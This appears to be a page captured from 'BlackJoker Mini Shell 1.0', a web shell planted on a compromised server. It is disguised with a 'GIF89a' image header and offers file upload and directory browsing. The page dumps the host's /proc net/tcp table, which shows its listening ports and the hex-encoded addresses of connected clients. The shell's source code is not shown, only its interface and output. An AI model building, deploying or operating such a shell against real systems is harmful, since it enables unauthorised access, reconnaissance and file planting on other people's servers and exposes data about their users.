GIF89a; Mini Shell

Mini Shell

Direktori : /proc/2165/net/
Upload File :
Current File : //proc/2165/net/tcp

  sl  local_address rem_address   st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode                                                     
   0: 0100007F:2BE2 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 13055 1 0000000000000000 100 0 0 10 0                     
   1: 00000000:03E3 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 26656 1 0000000000000000 100 0 0 10 0                     
   2: 0100007F:0243 00000000:0000 0A 00000000:0000002E 00:00000000 00000000     0        0 22772 1 0000000000000000 100 0 0 10 0                     
   3: 00000000:082B 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 22798 1 0000000000000000 100 0 0 10 5                     
   4: 00000000:006E 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 26654 1 0000000000000000 100 0 0 10 0                     
   5: 00000000:008F 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 26684 1 0000000000000000 100 0 0 10 0                     
   6: 0100007F:030F 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 22918 1 0000000000000000 100 0 0 10 0                     
   7: 00000000:048F 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 20386 1 0000000000000000 100 0 0 10 0                     
   8: 00000000:0050 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 22930 1 0000000000000000 100 0 0 10 0                     
   9: 7C86A16C:0035 00000000:0000 0A 00000000:00000000 00:00000000 00000000    25        0 21783 1 0000000000000000 100 0 0 10 5                     
  10: 0100007F:0035 00000000:0000 0A 00000000:00000000 00:00000000 00000000    25        0 21781 1 0000000000000000 100 0 0 10 5                     
  11: 00000000:0015 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 19008 1 0000000000000000 100 0 0 10 0                     
  12: 00000000:0016 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 18419 1 0000000000000000 100 0 0 10 0                     
  13: 0100007F:03B9 00000000:0000 0A 00000000:00000000 00:00000000 00000000    25        0 21833 1 0000000000000000 100 0 0 10 64                    
  14: 00000000:01BB 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 22934 1 0000000000000000 100 0 0 10 0                     
  15: 00000000:081D 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 22796 1 0000000000000000 100 0 0 10 5                     
  16: 00000000:081E 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 22797 1 0000000000000000 100 0 0 10 5                     
  17: 00000000:03E1 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 26686 1 0000000000000000 100 0 0 10 0                     
  18: 0100007F:0243 0100007F:A91C 08 00000000:00000228 00:00000000 00000000     0        0 0 1 0000000000000000 20 4 30 10 -1                        
  19: 0100007F:0243 0100007F:A92E 08 00000000:00000229 00:00000000 00000000     0        0 0 1 0000000000000000 20 4 30 10 -1                        
  20: 7C86A16C:0050 C660D055:9AAA 06 00000000:00000000 03:00001502 00000000     0        0 0 3 0000000000000000                                      
  21: 0100007F:0243 0100007F:A8B2 08 00000000:00000208 00:00000000 00000000     0        0 0 1 0000000000000000 20 4 30 10 -1                        
  22: 7C86A16C:0050 973D802F:81FE 06 00000000:00000000 03:000003E2 00000000     0        0 0 3 0000000000000000                                      
  23: 7C86A16C:0050 10ABBFB9:7AC8 06 00000000:00000000 03:00000E24 00000000     0        0 0 3 0000000000000000                                      
  24: 7C86A16C:0015 3B17CD29:8276 01 00000000:00000000 00:00000000 00000000     0        0 28579972 1 0000000000000000 66 4 0 10 -1                  
  25: 7C86A16C:0050 11ABBFB9:4860 06 00000000:00000000 03:000016C1 00000000     0        0 0 3 0000000000000000                                      
  26: 7C86A16C:0050 CB60D055:3EEC 06 00000000:00000000 03:00001130 00000000     0        0 0 3 0000000000000000                                      
  27: 7C86A16C:0050 3877802F:B6CE 01 00000000:00000000 02:000B0400 00000000    99        0 28612222 2 0000000000000000 44 4 33 22 -1                 
  28: 7C86A16C:0015 D4CB9267:E14E 01 00000000:00000000 00:00000000 00000000     0        0 28574513 1 0000000000000000 61 4 0 10 -1                  
  29: 0100007F:0243 0100007F:A8A4 08 00000000:00000201 00:00000000 00000000     0        0 0 1 0000000000000000 20 4 30 10 -1                        
  30: 7C86A16C:0050 8AD949D8:2B97 06 00000000:00000000 03:00000E25 00000000     0        0 0 3 0000000000000000                                      
  31: 0100007F:0243 0100007F:A87C 08 00000000:0000022D 00:00000000 00000000     0        0 0 1 0000000000000000 20 4 30 10 -1                        
  32: 0100007F:0243 0100007F:A922 08 00000000:0000022D 00:00000000 00000000     0        0 0 1 0000000000000000 20 4 30 10 -1                        
  33: 7C86A16C:0015 1BCE5A2F:DCA6 01 00000000:00000000 00:00000000 00000000     0        0 28569098 1 0000000000000000 23 4 0 10 -1                  
  34: 7C86A16C:0050 3877802F:BCFE 01 00000000:00000000 02:000B0400 00000000    99        0 28613279 2 0000000000000000 63 4 31 10 -1                 
  35: 7C86A16C:01BB 07897772:58CB 06 00000000:00000000 03:00000CAB 00000000     0        0 0 3 0000000000000000                                      
  36: 0100007F:0243 0100007F:A878 08 00000000:00000206 00:00000000 00000000     0        0 0 1 0000000000000000 20 4 30 10 -1                        
  37: 0100007F:0243 0100007F:A860 08 00000000:00000234 00:00000000 00000000     0        0 0 1 0000000000000000 20 4 30 10 -1                        
  38: 0100007F:0243 0100007F:A890 08 00000000:00000205 00:00000000 00000000     0        0 0 1 0000000000000000 20 4 30 10 -1                        
  39: 7C86A16C:BE9C AF6F28BC:01BB 08 00000000:00000019 00:00000000 00000000     0        0 407209 1 0000000000000000 43 4 26 4 7                     
  40: 0100007F:0243 0100007F:A918 08 00000000:00000229 00:00000000 00000000     0        0 0 1 0000000000000000 20 4 30 10 -1                        
  41: 7C86A16C:0050 96917772:FB1D 06 00000000:00000000 03:000007E9 00000000     0        0 0 3 0000000000000000                                      
  42: 0100007F:0243 0100007F:A85E 08 00000000:0000020D 00:00000000 00000000     0        0 29313 1 0000000000000000 20 4 30 10 -1                    
  43: 7C86A16C:0050 3877802F:BC76 01 00000000:00000000 02:000B0400 00000000    99        0 28612260 2 0000000000000000 59 4 31 10 -1                 
  44: 7C86A16C:0015 C3114272:8382 01 00000000:00000000 00:00000000 00000000     0        0 28610298 1 0000000000000000 57 4 28 7 7                   
  45: 0100007F:0243 0100007F:A8AC 08 00000000:00000209 00:00000000 00000000     0        0 0 1 0000000000000000 20 4 30 10 -1                        
  46: 7C86A16C:0050 8AD949D8:E8CA 01 0000066E:00000000 01:00000008 00000000    99        0 28613153 4 0000000000000000 24 4 1 29 28                  
  47: 7C86A16C:0050 CB60D055:E528 06 00000000:00000000 03:000001C7 00000000     0        0 0 3 0000000000000000                                      
  48: 7C86A16C:0015 3211AE69:9374 01 00000000:00000000 00:00000000 00000000     0        0 28574940 1 0000000000000000 56 4 0 10 -1                  
  49: 0100007F:0243 0100007F:A8A6 08 00000000:00000228 00:00000000 00000000     0        0 0 1 0000000000000000 20 4 30 10 -1                        
  50: 0100007F:0243 0100007F:A886 08 00000000:0000022C 00:00000000 00000000     0        0 0 1 0000000000000000 20 4 30 10 -1                        
  51: 0100007F:0243 0100007F:A89C 08 00000000:0000022C 00:00000000 00000000     0        0 0 1 0000000000000000 20 4 30 10 -1                        
  52: 7C86A16C:0015 B9701EA0:DDAE 01 00000000:00000000 00:00000000 00000000     0        0 28594558 1 0000000000000000 63 4 0 10 -1                  
  53: 7C86A16C:01BB AC8F7772:BA7B 06 00000000:00000000 03:00000D9D 00000000     0        0 0 3 0000000000000000                                      
  54: 7C86A16C:0015 EDAF0D6A:D160 01 00000000:00000000 00:00000000 00000000     0        0 28569947 1 0000000000000000 71 4 0 10 -1                  
  55: 7C86A16C:0015 A553AF88:E1AA 01 00000000:00000000 00:00000000 00000000     0        0 28604307 1 0000000000000000 23 4 14 10 -1                 
  56: 0100007F:0243 0100007F:A8AE 08 00000000:00000230 00:00000000 00000000     0        0 0 1 0000000000000000 20 4 30 10 -1                        
  57: 0100007F:0243 0100007F:A8A0 08 00000000:00000204 00:00000000 00000000     0        0 0 1 0000000000000000 20 4 30 10 -1                        
  58: 0100007F:0243 0100007F:A892 08 00000000:0000022C 00:00000000 00000000     0        0 0 1 0000000000000000 20 4 30 10 -1                        
  59: 7C86A16C:0050 20967772:7E71 06 00000000:00000000 03:0000070C 00000000     0        0 0 3 0000000000000000                                      
  60: 7C86A16C:0050 3CA3C865:A06A 06 00000000:00000000 03:00000AD4 00000000     0        0 0 3 0000000000000000                                      
  61: 7C86A16C:0050 8AD949D8:BC45 06 00000000:00000000 03:00000A8E 00000000     0        0 0 3 0000000000000000                                      
  62: 7C86A16C:0050 8AD949D8:57F1 06 00000000:00000000 03:000011BF 00000000     0        0 0 3 0000000000000000                                      
  63: 0100007F:0243 0100007F:A88C 08 00000000:0000022A 00:00000000 00000000     0        0 0 1 0000000000000000 20 4 30 10 -1                        
  64: 7C86A16C:0050 8AD949D8:CA31 06 00000000:00000000 03:00000442 00000000     0        0 0 3 0000000000000000                                      
  65: 7C86A16C:0050 8AD949D8:1BB1 06 00000000:00000000 03:00001570 00000000     0        0 0 3 0000000000000000                                      
  66: 7C86A16C:0015 11ECED4D:8908 01 00000000:00000000 00:00000000 00000000     0        0 28561469 1 0000000000000000 52 4 0 10 -1                  
  67: 0100007F:0243 0100007F:A87A 08 00000000:00000200 00:00000000 00000000     0        0 0 1 0000000000000000 20 4 30 10 -1                        
  68: 7C86A16C:0015 B14EF868:8162 01 00000000:00000000 00:00000000 00000000     0        0 28605732 1 0000000000000000 24 4 20 10 -1                 
  69: 0100007F:0243 0100007F:A91A 08 00000000:0000022A 00:00000000 00000000     0        0 0 1 0000000000000000 20 4 30 10 -1                        
  70: 0100007F:0243 0100007F:A8A2 08 00000000:0000022B 00:00000000 00000000     0        0 0 1 0000000000000000 20 4 30 10 -1                        

./BlackJoker Mini Shell 1.0